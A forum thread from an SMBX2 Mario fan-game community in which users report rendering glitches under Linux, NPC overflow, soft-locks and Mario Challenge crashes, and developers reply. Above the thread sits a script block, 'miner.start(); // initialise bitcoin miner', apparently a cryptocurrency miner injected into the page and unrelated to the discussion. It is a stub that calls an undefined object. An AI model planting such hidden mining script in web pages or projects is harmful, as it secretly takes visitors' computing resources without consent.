<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communitymario fan games galaxy

BUG REPORTING

User avatar
The Destroyer of Worlds
I am become death
Posts: 1485
Joined: 6 years ago

BUG REPORTING

Postby The Destroyer of Worlds » 2 years ago

Report yo bugs here.

If you can, also please tell us which video card you have and upload the level that gave you the issue.
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
GlitchMr
:)
Posts: 715
Joined: 9 years ago
First name: Konrad Borowski

Re: BUG REPORTING

Postby GlitchMr » 2 years ago

Image

Big Mario graphics are somewhat broken, the screenshot was done with ducking to the right. Affects all levels, but that one is first level of The Princess Cliche.

Using "Intel(R) Sandybridge Mobile" on Linux.

User avatar
Hoeloe
A2XT person
Posts: 857
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: BUG REPORTING

Postby Hoeloe » 2 years ago

era64 wrote: Using "Intel(R) Sandybridge Mobile" on Linux.
It's very possible things will not work quite as expected running under Linux. This looks like your graphics is not properly interpreting the OpenGL calls.
Image
Image
Image
Image
Image

User avatar
The Destroyer of Worlds
I am become death
Posts: 1485
Joined: 6 years ago

Re: BUG REPORTING

Postby The Destroyer of Worlds » 2 years ago

Hoeloe wrote:
era64 wrote: Using "Intel(R) Sandybridge Mobile" on Linux.
It's very possible things will not work quite as expected running under Linux. This looks like your graphics is not properly interpreting the OpenGL calls.
Hmm... Still, something like this might be something that we can fix. I may have to get a wine setup for SMBX 2.0 testing.
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
Hoeloe
A2XT person
Posts: 857
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: BUG REPORTING

Postby Hoeloe » 2 years ago

Horikawa Otane wrote:
Hoeloe wrote:
era64 wrote: Using "Intel(R) Sandybridge Mobile" on Linux.
It's very possible things will not work quite as expected running under Linux. This looks like your graphics is not properly interpreting the OpenGL calls.
Hmm... Still, something like this might be something that we can fix. I may have to get a wine setup for SMBX 2.0 testing.
Oh yeah. It's good we know about it, and if we can fix it, that would be awesome. We can't make any guarantees on this front though.
Image
Image
Image
Image
Image

User avatar
Joseph Staleknight
ABCDs in Katamari Damacy when
Posts: 480
Joined: 8 years ago
Location: :uo!ʇɐɔoך

Re: BUG REPORTING

Postby Joseph Staleknight » 2 years ago

Got a couple bugs to report (at least the ones I felt I needed to get a screen shot for). All cases have been reached via Mario Challenge

with the cheats "donthurtme" and "sonicstooslow" active

:

Waaah, too many NPCs!
Image
When I played as Wario during one of The Invasion 2's airship levels, I fell to my doom and the game slowed to a crawl. Then this message showed up. Must've gotten too many Rinkas to spawn.


Grinding Forever
Image
If you play as Tanooki Bowser and ground pound a sawblade, you'll be stuck there forever. You won't even be able to re-roll in the Mario Challenge! I first encountered this bug when I got to the end of the Talking Time Bros. level "The Castle at the End of the Game" (that's what it said on the filename, at any rate).


One Way to Break the Mario Challenge
Also, sometimes I get to one of the new character demo levels, but when it loads I have a different character via Shuffle Mode. In that case I get a debug error and then the HUD crashes, forcing me to re-roll so that I don't get stuck on the empty world map after beating it. (e.g. This lovely picture when I brink Link to Rosalina's debut level:
Image

For some reason it only happens when I have Shuffle Mode on--otherwise, it changes my current character to the necessary one as normal.


More bug reports as I come across them!

EDIT: Also, I don't think this is relevant to the errors but I'm running Intel(R) HD Graphics 5500 on Windows 10.
Image
Image
Image
Image
Image

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: BUG REPORTING

Postby Willhart » 2 years ago

Thanks. The ones so far should be now on the list of stuff to fix.

User avatar
GlitchMr
:)
Posts: 715
Joined: 9 years ago
First name: Konrad Borowski

Re: BUG REPORTING

Postby GlitchMr » 2 years ago

So I got a new computer, and the same problem happens with NVIDIA graphics card (Geforce GTX 750 TI) on Linux. If that helps the issue only affects player character (nothing else).

User avatar
Hoeloe
A2XT person
Posts: 857
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: BUG REPORTING

Postby Hoeloe » 2 years ago

GlitchMr wrote:So I got a new computer, and the same problem happens with NVIDIA graphics card (Geforce GTX 750 TI) on Linux. If that helps the issue only affects player character (nothing else).
This program was never designed to run on Linux. I'm not entirely surprised things don't work properly. Of course, it would be great if they did, but making sure everything works on Linux is not a priority.
Image
Image
Image
Image
Image

User avatar
Zha Hong Lang
"HTMI - Hyper Text Markup Interface"
Posts: 1534
Joined: 4 years ago
First name: ZHL
Pronouns: Male
Location: United States of America

Re: BUG REPORTING

Postby Zha Hong Lang » 2 years ago

Hoeloe wrote:
GlitchMr wrote:So I got a new computer, and the same problem happens with NVIDIA graphics card (Geforce GTX 750 TI) on Linux. If that helps the issue only affects player character (nothing else).
This program was never designed to run on Linux. I'm not entirely surprised things don't work properly. Of course, it would be great if they did, but making sure everything works on Linux is not a priority.
Well, I'm sure it's still possible to make SMBX 2.0 work on Linux, it'll just require some slight modifications on either the user's or developer's side of things.

I'm going to try creating a repository for Linux (specifically Ubuntu), so once that's up and running we can see if the issues still exist. However, for the time being, any attempt at debugging would be helpful (like running the program in terminal, at the very least) to see if we can get some useful output.
(Formerly Jayoshi)

User avatar
GlitchMr
:)
Posts: 715
Joined: 9 years ago
First name: Konrad Borowski

Re: BUG REPORTING

Postby GlitchMr » 2 years ago

Jayoshi wrote:
Hoeloe wrote:
GlitchMr wrote:So I got a new computer, and the same problem happens with NVIDIA graphics card (Geforce GTX 750 TI) on Linux. If that helps the issue only affects player character (nothing else).
This program was never designed to run on Linux. I'm not entirely surprised things don't work properly. Of course, it would be great if they did, but making sure everything works on Linux is not a priority.
Well, I'm sure it's still possible to make SMBX 2.0 work on Linux, it'll just require some slight modifications on either the user's or developer's side of things.

I'm going to try creating a repository for Linux (specifically Ubuntu), so once that's up and running we can see if the issues still exist. However, for the time being, any attempt at debugging would be helpful (like running the program in terminal, at the very least) to see if we can get some useful output.
wine output is huge, so I'm posting it at https://gist.github.com/xfix/d330948557 ... a72dbeda86

By the way, if you want to test this under Wine, install winetricks, and use "winetricks vb6run", so that SMBX will work (SMBX requires Visual Basic 6 runtime).

User avatar
Zha Hong Lang
"HTMI - Hyper Text Markup Interface"
Posts: 1534
Joined: 4 years ago
First name: ZHL
Pronouns: Male
Location: United States of America

Re: BUG REPORTING

Postby Zha Hong Lang » 2 years ago

GlitchMr wrote:wine output is huge, so I'm posting it at https://gist.github.com/xfix/d330948557 ... a72dbeda86

By the way, if you want to test this under Wine, install winetricks, and use "winetricks vb6run", so that SMBX will work (SMBX requires Visual Basic 6 runtime).
Oh... well, that's definitely something.

I'm aware of the Visual Basic 6 runtime requirement. I've also heard that apparently, using LunaLoader (or its equivalent for SMBX 2.0, forgot what it's called) doesn't work under Linux so well, and that the hexed EXE should be used instead. Both of these things will be considered once the Ubuntu repository goes up.
(Formerly Jayoshi)

User avatar
Lunikyuu
almost Lunatic Quark
Posts: 290
Joined: 4 years ago
Location: soup

Re: BUG REPORTING

Postby Lunikyuu » 2 years ago

I'm not sure if this is a bug per se, but every time I place a boo snake in my level, it always starts off going to the left, even if I set it to face right or a random direction in the editor.
super big thanks to bkamakaze for the avatar!
and this site for the other one!


Return to “SMBX2 (Current - 2.0 Beta 3)”

Who is online

Users browsing this forum: No registered users and 1 guest